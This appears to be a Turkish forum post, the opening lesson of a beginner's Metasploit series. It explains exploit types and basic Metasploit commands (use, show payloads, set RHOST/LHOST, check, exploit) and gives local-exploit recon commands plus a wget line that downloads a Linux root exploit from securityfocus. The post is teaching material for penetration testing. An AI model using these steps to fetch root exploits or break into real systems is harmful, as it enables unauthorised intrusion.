Öncelikle selamlar saygıdeğer forum üyeleri bugün,
Metasploit yazılımı hakkında bilgi edinmek isteyen ve kullanmaktan çekinen arkadaşlar için
en temelden en zirve yolunda, temel atarak ilerleteceğimiz bir ders verme kararını aldım.
Umarım sizlerin faydasına olan bir seri olur.
Bugün ki dersimiz de Exploit nedir, Exploit çeşitleri nedir, Metasploit nedir, Kurulum kısmını atlayarak Komut ve Kavramlara değinerek dersimizin ilk konusuna değinmeyi umuyorum.
EXPLOİT NEDİR ?
Bir sistem açığını sömürmek, bilgi çekmek amacıyla kullanılan araçlar olarak tanımlayabiliriz.
Penetration testinde oldukça yaygın olarak kullanılırlar.
Exploitlerin yazıldığı diller konusuna girmiyorum o bizim konumuz değil.
EXPLOİT ÇEŞİTLERİ NELERDİR
Remote
Local
Zero Day Exploit
olmak üzere exploit çeşitleri 3'e ayrılır.
REMOTE EXPLOIT
Remote kelime itibari ile uzak anlamına gelir. Kendi bilgisayarımızdan karşı hedef bilgisayara yapılan sömürme işlemlerinde
remote exploitler sayesinde yapacağız.
LOCAL EXPLOIT
Local exploitler enjekte ettiğimiz sistemde hemen çalışabilme, bilgi edinebilme potansiyeline sahip exploitlerdir.
Birazdan vereceğim kod şuan için erken fakat local exploit'i anlamak maksadı ile Linux için Uname komutları bizim için önemlidir.
Yazdırabileceğimiz tüm bilgileri ekrana yazdırabilmek için ihtiyacımız olan kod;
Kod:
uname -aBunun önemi linux sürümü içidir, linux sürümünü öğrenmemiz lazım. Daha sonra işimize yarayacak bir başka kod ise;
Kod:
idLinux sisteminin yetki durumunu öğrenebilmemiz için yukarıda ki komuta ihtiyacımız vardır.
Daha sonra yapacağımız işlem linux sürümüne tam anlamıyla uygun root exploit bulmaktır ve bunu şu komut ile çekeceğiz;
Kod:
wget
## Örnek olarak wget komutu aşağıdaki gibi yazılabilir
wget downloads.securityfocus.com/vulnerabilities/exploit/36038-6.cZERO DAY EXPLOIT
En çok üstünde durulması gereken exploit çeşitleridir. Sistem yöneticisinin kendi sistemlerinden açığı olduğunun haberinin olmaması, açığın bulunduğu an yazılan exploit çeşitidir.
METASPLOİT NEDİR?
Metasploit güvenlik testleri için geliştirilmiş güvenlik uzmanları başta olmak üzere birçok kişinin kullandığı bir penetration test aracıdır.
Yukarıda da belirttiğim üzere kurulum kısımlarını anlatmayacağım birçok içerik mevcuttur, medyalarda fakat Metasploit'i ister Windows'a isterseniz de Linux'a kurabilirsiniz. Ben pratiklik ve esneklik açısından Linux'a kurdum.
Şimdi biraz komut ve kavramlara değinelim;
Use Komutu: Exploit işlemlerinin gerçekleştirilmesi için gereken modülleri seçmemizi sağlayan komuttur.
Payload exploit sonrasında sistemde derinliğe inebilmemiz için kullanacağımız araçlar, modüllerdir.
Burada durulması gereken önemli bir husus exploit'e uygun bir payload seçimi yapmamızdır.
İşletim sistemlerinin payloadları farklıdır, bunları göz önünde bulundurmamız lazım.
Payloadlar, exploitler ile birlikte de kullanılabilir.
Show payloads Komutu: Seçtiğimiz exploit ile tüm payloadları listeler
Sistem de exploit'i çalıştırmak için, hedef kullanıcı, sisteme ait bilgiler exploit'e girilmelidir. Bunları görebilmek için;
Show options komutunu kullanıyoruz.
RHOST, LPORT parametreleri girmemiz istenebilir bunları
set RHOST XXX.XXX.X.XX
set LHOST XXX.XXX.X.XXX
Bağlantı bize geleceği için bizim local ip adresimizi girmemiz gerekecek ki bize ait local ip girilmesi istenir.
Show targets komutu: Bu komut ile sistemleri görüntüleyeceğiz. Eğer sistem biliniyor ise girebileceğiz.
Exploit çalıştırılmadan da açığın olup olmadığını kısa durum muhakemesi yapabiliriz.
Check komutu: Bu komut sayesinde açığın olup olmadığını kontrol edeceğiz. Eğer ''The target is vulnerable'' yazısı karşımıza gelirse
Sistem açığı mevcut demektir.
Belirli parametrelerimizi girdikten sonra exploit edebilmek için ''exploit'' komutunu giriyoruz ve hedef sistemin command oturumuna, yönetici oturumuna geçiş yapıyoruz.
Exploit database siteside açık görülür ise bu açığın exploitini metasploit'te aratacağız.
search -h komutu işimizi görecektir.
Bu dersimiz başlıktan da anlaşılacağı üzere giriş dersidir, gerek video, gerek anlatım ve görsel uygulamalı bir şekilde derslerimize devam edeceğiz.
Bugün ki dersimizin sonuna geldik. Derste işleyeceğimiz, planladığım konunun sonuna geldik.
Hiçbir zaman için hiçbir şey geç değildir. Yeri zamanı geldikçe foruma elimden gelen katkılar da bulunacağım
Tüm saygıdeğer forum üyelerimize, büyüğünden, küçüğüne
Selamlarımı iletiyor, iyi hafta sonları dilerim!
